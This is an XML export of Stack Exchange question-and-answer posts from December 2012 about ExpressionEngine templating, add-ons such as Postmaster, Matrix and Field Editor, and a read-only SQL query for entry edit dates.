  <row Id="986" PostTypeId="1" AcceptedAnswerId="987" CreationDate="2012-12-03T15:57:38.883" Score="2" ViewCount="141" Body="&lt;p&gt;I have a need to pull all entries (in this case only 20 or so) from a channel, and have 5 random results do something different to the other 15. What's the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2012-12-05T20:12:53.020" Title="Need to list all channel:entries, and do something different on &quot;some&quot; of them" Tags="|entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="987" PostTypeId="2" ParentId="986" CreationDate="2012-12-03T16:18:20.010" Score="3" Body="&lt;p&gt;I'm not sure there is a plugin already written that does this, but it'd be pretty easy to write one or, use PHP in the template to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you want to generate a list of entries to be selected first, outside the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, inside the tag pair, you'll just check to see if the current &lt;code&gt;{count}&lt;/code&gt; is in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $max = 20;&#xA;   $numels = 5;&#xA;   $range = range(0, $max);&#xA;   $vals = array_rand($range, $numels);&#xA;?&amp;gt;&#xA;&#xA;{exp:channel:entries ... }&#xA;   &amp;lt;?php if(in_array('{count}', $vals)):?&amp;gt;random-entry&amp;lt;?php endif;?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-03T16:18:20.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="988" PostTypeId="1" AcceptedAnswerId="1139" CreationDate="2012-12-03T16:34:42.323" Score="4" ViewCount="120" Body="&lt;p&gt;I'm using CT Admin with my Cartthrob store.&#xA;Currently all my reports with CT Admin use the EE site's webmaster name and email address for the values. I would prefer to keep our agency as the webmaster email and have a setting somewhere (if possible) to use in the invoice/report pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="203" LastEditorUserId="268" LastEditDate="2012-12-04T08:49:58.710" LastActivityDate="2012-12-05T03:39:33.440" Title="CartThrob and CT Admin reporting email address" Tags="|add-on|cartthrob|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="989" PostTypeId="1" AcceptedAnswerId="991" CreationDate="2012-12-03T16:55:51.350" Score="5" ViewCount="1027" Body="&lt;p&gt;Has anyone ever tried to create a matrix field in a matrix field? (nested matrix)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a workshop schedule I'm building and thought this would be the &quot;best&quot; way to create it for multiple days, (initial matrix), and events throughout the day, (nested matrix). I know there isn't a default option for this as far as fieldtypes in a matrix field, but I was curious as to whether or not the universe would implode if attempted.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="480" LastEditDate="2012-12-03T20:50:07.377" LastActivityDate="2012-12-03T20:50:07.377" Title="Matrix in Matrix" Tags="|custom-fields|ee1|matrix|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostTypeId="2" ParentId="989" CreationDate="2012-12-03T17:11:12.920" Score="2" Body="&lt;p&gt;Haven't attempted this, what I have done though is make a Channel for the &quot;events&quot;, and then a multi-select Playa-field in the days-Matrix. It's not ideal, I understand, but maybe this would work for you?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-03T17:11:12.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="991" PostTypeId="2" ParentId="989" CreationDate="2012-12-03T17:14:51.030" Score="10" Body="&lt;p&gt;You might want to give &lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nolan&lt;/a&gt; a try - it sounds like exactly what you're after.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nolan enables a very simple matrix style field within a Pixel &amp;amp; Tonic Matrix field&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rec1R.png&quot; alt=&quot;Nolan screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-03T17:14:51.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostTypeId="1" AcceptedAnswerId="994" CreationDate="2012-12-03T17:36:44.793" Score="2" ViewCount="339" Body="&lt;p&gt;I suspect one of you brilliant folks in the EE community will be abel to help me. I need to add a disclaimer-style checkpoint prior to entering a given template group within an EE site. Specifically, it's a medical site with a before and after gallery and some photos in the gallery could be perceived as graphic in nature - and so I want a &quot;visitor beware&quot; kind of selection screen before the user gets into that section. So I'm looking for a way to have the following happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Upon accessing a give template group path (domain.com/example) a modal window opens with a brief disclaimer allowing the user to choose yes or no to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If yes, the user continues to the template group, if no, they continue to a URL path I designate (probably a placeholder, wherein they would continue to browse the rest of the site and I also give them the ability to reverse their previous no to a yes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the selection that they make in the modal is persistent for, let's say, a browser session.  They are still forced to make that same choice the next time they visit the site, even if on the same day, within the browser session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) In being a persistent value, the next time they browser to domain.com/example, the rule dictated by their previous selection or yes versus no is enforced. If they clicked yes, they simply access domain.com/example unfettered. If they clicked no, they are routed to the &quot;alternative&quot; landing page wherein they are presented the opportunity to change their mind and select yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm guessing this is a javascript thing. I've done something like it, but not in a way that affected routing. It was merely a language selection that then determined whether they were accessing the site via the english or french URL. I've not tried something like there where the selection they make has some influence over what they see within a given template group. I suspect i could repurpose the javascript that was used to perform the language selection, but the behaviour after that was linked to different URLs in the site (domain.com/en/ and domain.com/fr/) whereas in this case, it's all one URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done this before? Advice on how to approach this?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-03T17:59:16.250" Title="Have a modal window with yes or no to set a persistent global determining access to template group" Tags="|javascript|modal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostTypeId="1" CreationDate="2012-12-03T17:39:36.833" Score="1" ViewCount="5634" Body="&lt;p&gt;I'm trying to create a vimeo video player with playlist thumbnails. Has anyone ever done this using dev demon's channel videos? Does anyone have any good advice or can point me in the right direction? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="295" LastEditorUserId="16" LastEditDate="2012-12-04T02:03:40.313" LastActivityDate="2015-07-28T16:26:10.507" Title="Is there a way to make a vimeo gallery with playlist thumbnails using channel videos?" Tags="|channel-videos|vimeo|thumbnails|video|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="994" PostTypeId="2" ParentId="992" CreationDate="2012-12-03T17:49:11.770" Score="3" Body="&lt;p&gt;If it were me, I wouldn't use JS to handle this, as anyone with JS disabled will be able to get around this stuff. Even using browser cookies could be circumvented, so you really need to think how important is it to see these screens. If having JS and cookies disabled isn't a factor, go with whatever method you this is faster (most likely a jquery solution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I would do it would be to customize this add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cookie-plus&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cookie-plus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use this awesome add-on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really just try to find the best base to start from with the least amount of work to add the desired functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, add a parameter to the setters/getters to handle the redirects. This plugin will do all the cookie work for you, you will just have to manage the redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;{redirect=&quot;your/path&quot;}&lt;/code&gt; probably won't work since you will be redirected before the cookie plugin tag is parsed - which is why I would add the redirects to the setters/getters yourself (or have another PHP developer do it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really this should be very simple and quick updates if you use that existing module. In my mind, harnessing a pre-built add-on to add the additional functionality would be best - provided there isn't something already in existence. (I have not seen such add-on, so I am not sure if it exists which I why I outline this DIY solution.)&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-03T17:58:19.870" LastActivityDate="2012-12-03T17:58:19.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="995" PostTypeId="2" ParentId="989" CreationDate="2012-12-03T17:50:18.287" Score="2" Body="&lt;p&gt;Ok,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this were in EE2, Dom's usage of &lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot; rel=&quot;nofollow&quot;&gt;Nolan&lt;/a&gt; would be ideal for what I have. If anyone else runs into an older legacy site that needs the same, here is what I ended up with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a matrix fieldtype with the sub-fields needed for the workshops. I installed &lt;a href=&quot;http://devot-ee.com/add-ons/sc-category-select&quot; rel=&quot;nofollow&quot;&gt;SC Category Select&lt;/a&gt; and created a category group called workshop days which held nothing more than  'Day 1', 'Day 2', etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the fields in the matrix field is a &lt;a href=&quot;http://devot-ee.com/add-ons/sc-category-select&quot; rel=&quot;nofollow&quot;&gt;SC Category Select&lt;/a&gt; field which allows them to select which day the information goes with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this may not be ideal, but it meets the clients needs of maintaining the workshops on a per entry basis.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2012-12-03T17:50:18.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostTypeId="2" ParentId="992" CreationDate="2012-12-03T17:59:16.250" Score="0" Body="&lt;p&gt;I've always thought that the &lt;a href=&quot;http://www.theatlantic.com/infocus/&quot; rel=&quot;nofollow&quot;&gt;In Focus&lt;/a&gt; photoblog handles this quite well, placing a 'graphic content' overlay on top of flagged images (&lt;a href=&quot;http://www.theatlantic.com/infocus/2012/12/afghanistan-november-2012/100417/#img23&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;). I don't think their approach implements sessions but it would be fairly trivial to set a &lt;code&gt;show_flagged_images&lt;/code&gt; &lt;a href=&quot;https://github.com/carhartl/jquery-cookie&quot; rel=&quot;nofollow&quot;&gt;cookie with jQuery&lt;/a&gt;. Removing any other overlays on the page at the same time would also be simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a slightly different approach to what you're suggesting, but it would be lightweight, easy to implement and is fairly user friendly, as you're not bouncing people from one page to another - overlays can be removed instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not requiring JS is an issue will depend on your audience.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-03T17:59:16.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="997" PostTypeId="1" AcceptedAnswerId="999" CreationDate="2012-12-03T18:21:40.830" Score="3" ViewCount="45" Body="&lt;p&gt;I have a positioning issue with my in ExpressionEngine. On the following link scroll down to the roster section:  &lt;a href=&quot;http://thecharlesnyc.com/dev/dgi/ExpressionEngine/index.php&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looping the &lt;code&gt;li&lt;/code&gt; tags for &lt;code&gt;&amp;lt;ul class=&quot;roster-grid&quot;&amp;gt;&lt;/code&gt; I have noticed it loops fine on the few row however begins to misalign on the third row onwards. Does any one know what is causing this problem?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;roster-grid&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;roster&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;                {roster_music limit=&quot;1&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;{music_thumb}&quot; alt=&quot;music&quot; alt=&quot;grid-img&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/roster_music}&#xA;{/exp:channel:entries}&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="459" LastEditorUserId="28" LastEditDate="2012-12-16T06:10:45.410" LastActivityDate="2012-12-16T06:10:45.410" Title="Listed items positioning issue in ExpressionEngine" Tags="|templates|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="998" PostTypeId="1" AcceptedAnswerId="1417" CreationDate="2012-12-03T18:24:14.723" Score="2" ViewCount="74" Body="&lt;p&gt;When creating a new parcel in Postmaster (1.2 beta, build 1.1.99.4), I always find that after selecting a channel, the list of categories for that channel never updates. The text remains as, &quot;This channel has no categories.&quot; Even though there are categories for the channel that I selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The statuses do update, so I wonder if I'm missing something from the setup as to why these categories don't appear right away? After saving the parcel and going back into it, the categories do then appear.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="268" LastEditDate="2012-12-04T08:51:08.850" LastActivityDate="2012-12-11T01:39:56.733" Title="List of categories doesn't appear when creating a new parcel in Postmaster" Tags="|add-on|categories|postmaster|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostTypeId="2" ParentId="997" CreationDate="2012-12-03T18:30:36.297" Score="2" Body="&lt;p&gt;I did noticed that there are a mixture of image sizes in the grid. Some are &lt;code&gt;178x182&lt;/code&gt;, &lt;code&gt;178x183&lt;/code&gt; &amp;amp; &lt;code&gt;177x183&lt;/code&gt;. This might be causing break in the grid. Try setting a consistant width &amp;amp; height on the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also looks like the &lt;code&gt;.roster-grid&lt;/code&gt; isn't quite wide enough. I increased the width by one pixel to &lt;code&gt;534px&lt;/code&gt; and the image jump back. But, this could be do to the inconsistant image dimensions.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-03T18:30:36.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1000" PostTypeId="5" CreationDate="2012-12-03T18:42:45.560" Score="0" Body="&lt;p&gt;Postmaster is the definitive solution for emailing channel entries within ExpressionEngine. Create beautiful email templates using the live preview, and impose extremely fine levels of control to send emails exactly when you want. Whether it be from the publish entries page in the control, to Safecracker on the front-end, or in a custom application using the channel entries API, Postmaster is the perfect for almost any application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-04T17:34:01.387" LastActivityDate="2012-12-04T17:34:01.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1001" PostTypeId="4" CreationDate="2012-12-03T18:42:45.560" Score="0" Body="Postmaster is a commercial add-on by Objective HTML." OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-04T17:34:04.787" LastActivityDate="2012-12-04T17:34:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1002" PostTypeId="2" ParentId="947" CreationDate="2012-12-03T18:42:52.433" Score="2" Body="&lt;p&gt;I created similar functionality for a website a while back with a mix of PHP and EE template tags to get the results I needed. I'm not sure if there's a magical all-in-one solution that exists yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm simplifying here, but I essentially got this to work similar to the way you are describing in your question, with some differences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I created a db table that was used to store the contact info (I didn't have members, so I stored their provided email address), the query string that passed to Super Search, and a timestamp.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I ran through that table using the query module. Nested within that, I used the super_search:results tag - passing along the search query string. In each loop of the query module I compiled the email to be sent and sent it using the &lt;a href=&quot;https://github.com/jrtashjian/postmark-codeigniter&quot; rel=&quot;nofollow&quot;&gt;Postmark CodeIgniter wrapper&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I didn't have many users I had to process (under 10 at a time), so I cannot comment on the scaleabillty of it. For my purposes it seemed to work well enough though.&lt;/p&gt;&#xA;" OwnerUserId="231" LastActivityDate="2012-12-03T18:42:52.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostTypeId="1" AcceptedAnswerId="1005" CreationDate="2012-12-03T18:44:44.737" Score="1" ViewCount="526" Body="&lt;p&gt;I've created a parcel in Postmaster (1.2 beta, build 1.1.99.4), and I want to send a copy of the email to an admin email address (in addition to the intended recipient in the To field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when entering a hard-coded email address into the CC (or even BCC) field, I'm finding that the email never gets sent to that hard-coded recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email does get sent to the recipient in the To field though, and in that email, the hard-coded email address does appear in the CC field. But if I look at the email account for the email address in the CC field, no email is there, or even in the spam folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used different email addresses but the same thing happens. If I have an email address in the To field, and another in the CC or BCC field, then I'm expecting the email to be sent to two different recipients. But it appears that only one recipient is being sent the email. Can you think what I'm doing wrong here? The email service I'm using is ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-03T22:30:01.383" Title="Emails not being sent to CC or BCC recipient in Postmaster" Tags="|postmaster|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostTypeId="1" AcceptedAnswerId="1006" CreationDate="2012-12-03T18:55:49.293" Score="8" ViewCount="2264" Body="&lt;p&gt;I am trying to find a way to view the last edit date of entries while in the control panel. I haven't found an EE2 plug-in or module, and have no idea of any other way to do it. Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically need to make sure I am not overriding any database info a user has entered when I import a new database from the staging site with changes.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2022-12-12T16:39:37.463" Title="Is there a way to display &quot;last edit date&quot; when viewing entries in the admin panel?" Tags="|control-panel|channel-entries|date|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostTypeId="2" ParentId="1003" CreationDate="2012-12-03T19:05:35.597" Score="2" Body="&lt;p&gt;To find out if an email is sent, use the SQL table that stores the responses for all the requests - which is exp_postmaster_mailbox. You will be able to check the status to see if it was sent by the server. You can also check the email conents like the sender, recipient,  CC/BCC, and even the parsed message contents. This logs will be able to give you an idea if your email was sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no known issues with the CC/BCC fields at this time.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-03T22:30:01.383" LastActivityDate="2012-12-03T22:30:01.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostTypeId="2" ParentId="1004" CreationDate="2012-12-03T19:14:53.877" Score="21" Body="&lt;p&gt;&lt;a href=&quot;https://zenbustudio.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Zenbu&lt;/strong&gt;&lt;/a&gt; will let you filter entries by &lt;code&gt;edit_date&lt;/code&gt; (similar to the Edit page in ExpressionEngine, see screenshot below).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ftflC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you don't want to use an add-on you could run a MySQL query to check the &lt;code&gt;edit_date&lt;/code&gt; in &lt;code&gt;exp_channel_titles&lt;/code&gt;. Something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id, title, DATE_FORMAT(edit_date, '%m-%d-%Y-%k:%i') AS updated&#xA;FROM exp_channel_titles&#xA;ORDER BY edit_date DESC LIMIT 50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This above just returns a list of entries along with the edit date, with the most recently edited entry listed first. You can easily run this query in the EE Control Panel using the &lt;a href=&quot;https://web.archive.org/web/20121217185019/http://ellislab.com:80/expressionengine/user-guide/cp/tools/data/sql_query_form.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Database Query Form&lt;/a&gt;, or with an application like &lt;a href=&quot;https://www.sequelpro.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sequel Pro&lt;/a&gt; or &lt;a href=&quot;https://www.navicat.com/en/products/navicat-for-mysql&quot; rel=&quot;nofollow noreferrer&quot;&gt;Navicat&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note that there will likely be other data besides the edit date entry data you'd want to check before you import a copy of the staging database (changes in categories, members, and comments for example). But if you know for sure that the only data changing on your staging site is entries then you should be good just checking &lt;code&gt;edit_date&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="7705" LastEditDate="2022-12-12T16:39:37.463" LastActivityDate="2022-12-12T16:39:37.463" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1007" PostTypeId="1" AcceptedAnswerId="1008" CreationDate="2012-12-03T19:31:06.730" Score="1" ViewCount="77" Body="&lt;p&gt;I've got &lt;a href=&quot;http://devot-ee.com/add-ons/field-editor&quot; rel=&quot;nofollow&quot;&gt;Field Editor&lt;/a&gt; installed on a new site that I would like to copy/clone fields from an existing site I've built. In the Field Editor CP there's an option to import a field group with a file. This is fantastic, but I can't for the life of me find where to export a field group from an existing site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://mightybigrobot.com/docs/field-editor/&quot; rel=&quot;nofollow&quot;&gt;docs for field editor&lt;/a&gt; are rather sparse and not helpful in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to export field groups from one site to a file and then use field editor to import them into a new site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New site EE 2.5.3 existing site EE 2.2.2 but scheduled for upgrade to 2.5.3 in the next day or two.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-03T19:37:38.000" Title="Importing Fields into Field Editor - how?" Tags="|add-on|ee2|custom-fields|how-to|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostTypeId="2" ParentId="1007" CreationDate="2012-12-03T19:37:38.000" Score="2" Body="&lt;p&gt;You can export one field group at a time in Field Editor while in it's &quot;homepage.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0xorQ.png&quot; alt=&quot;Field Editor Export&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-03T19:37:38.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1009" PostTypeId="1" AcceptedAnswerId="1021" CreationDate="2012-12-03T19:51:47.427" Score="2" ViewCount="141" Body="&lt;p&gt;I have a set of &quot;category&quot; pages such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dining (example.com/dining)&lt;/li&gt;&#xA;&lt;li&gt;Nightlife (example.com/nightlife)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We are using Zoo Triggers to filter out the categories appropriately. I am using a snippet to insert an icon into the header of each category. This snippet looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;logo&quot;} &#xA;    {snippet:masthead_logo}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;logo&quot; snippet looks much like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;logo&quot;&amp;gt;&#xA;{exp:ifelse parse=&quot;inward&quot;}&#xA;{if segment_1=='events'}&#xA;    &amp;lt;img src=&quot;{site_url}images/placeholders/icon-events.png&quot; height=&quot;125&quot; width=&quot;125&quot;/&amp;gt;&#xA;{if:elseif triggers:segment_1=='dining'}&#xA;    &amp;lt;img src=&quot;{site_url}images/placeholders/icon-dining.png&quot; height=&quot;125&quot; width=&quot;125&quot;/&amp;gt;&#xA;{if:elseif segment_1=='nightlife'}&#xA;    &amp;lt;img src=&quot;{site_url}images/placeholders/icon-nightlife.png&quot; height=&quot;125&quot; width=&quot;125&quot;/&amp;gt;  &#xA;{if:elseif segment_1=='shopping'}&#xA;    &amp;lt;img src=&quot;{site_url}images/placeholders/icon-shopping.png&quot; height=&quot;125&quot; width=&quot;125&quot;/&amp;gt;&#xA;{if:elseif segment_1=='arts-culture'}&#xA;    &amp;lt;img src=&quot;{site_url}images/placeholders/icon-arts.png&quot; height=&quot;125&quot; width=&quot;125&quot;/&amp;gt;&#xA;{if:else}&#xA;    {exp:ce_img:pair src=&quot;{interior_logo}&quot; max=&quot;125&quot; crop=&quot;no|center,center&quot; fallback_src=&quot;{site_url}images/placeholders/member-placeholder-logo.png&quot; allow_scale_larger=&quot;yes&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I am testing &quot;dining&quot; for Zoo Triggers segment_1, which is 'dining' when it parses. However, the conditional is not holding true as it were. In fact, not even the surrounding  is passed from the snippet. So I suppose it isn't as much a why isn't this conditional working, but more of a why isn't this snippet working?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-12-03T21:44:58.433" LastActivityDate="2012-12-03T22:06:38.110" Title="Why isn't this snippet + Zoo Triggers working?" Tags="|stash|snippets|zoo-triggers|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostTypeId="1" AcceptedAnswerId="1011" CreationDate="2012-12-03T19:55:06.733" Score="4" ViewCount="2957" Body="&lt;p&gt;I am trying to do something which I suspect is quite simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am referencing a channel field to rerun results to populate a series of check boxes. If there are no results I wish to say 'There are no results&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sales&quot; disable=&quot;categories|category-fields|member-data|pagination&quot; status=&quot;open&quot; sort=&quot;asc&quot;} &#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;       &amp;lt;input type=&quot;checkbox&quot; value=&quot;{postcode1}&quot;&amp;gt;&#xA;       {postcode1}&#xA;    &amp;lt;/label&amp;gt;&#xA;    {if no_results}Sorry, No Results{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Niall&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="22" LastEditDate="2012-12-03T20:51:04.910" LastActivityDate="2012-12-03T20:51:04.910" Title="Return message: if no results" Tags="|channel-entries|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1011" PostTypeId="2" ParentId="1010" CreationDate="2012-12-03T19:58:25.550" Score="10" Body="&lt;p&gt;You just need to add &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; as a parameter on your opening &lt;code&gt;channel:entries&lt;/code&gt; tag and your code should work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot;&gt;documentation on that here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-12-03T19:58:25.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1012" PostTypeId="2" ParentId="1010" CreationDate="2012-12-03T20:18:45.600" Score="1" Body="&lt;p&gt;Any chance you are using this in conjunction with Croxton's ifelse plugin (I see you tagged your question with ifelse)? If so, you need to use the {no_results}{/no_results} tag pair instead of the if statement you are using.&lt;/p&gt;&#xA;" OwnerUserId="231" LastActivityDate="2012-12-03T20:18:45.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
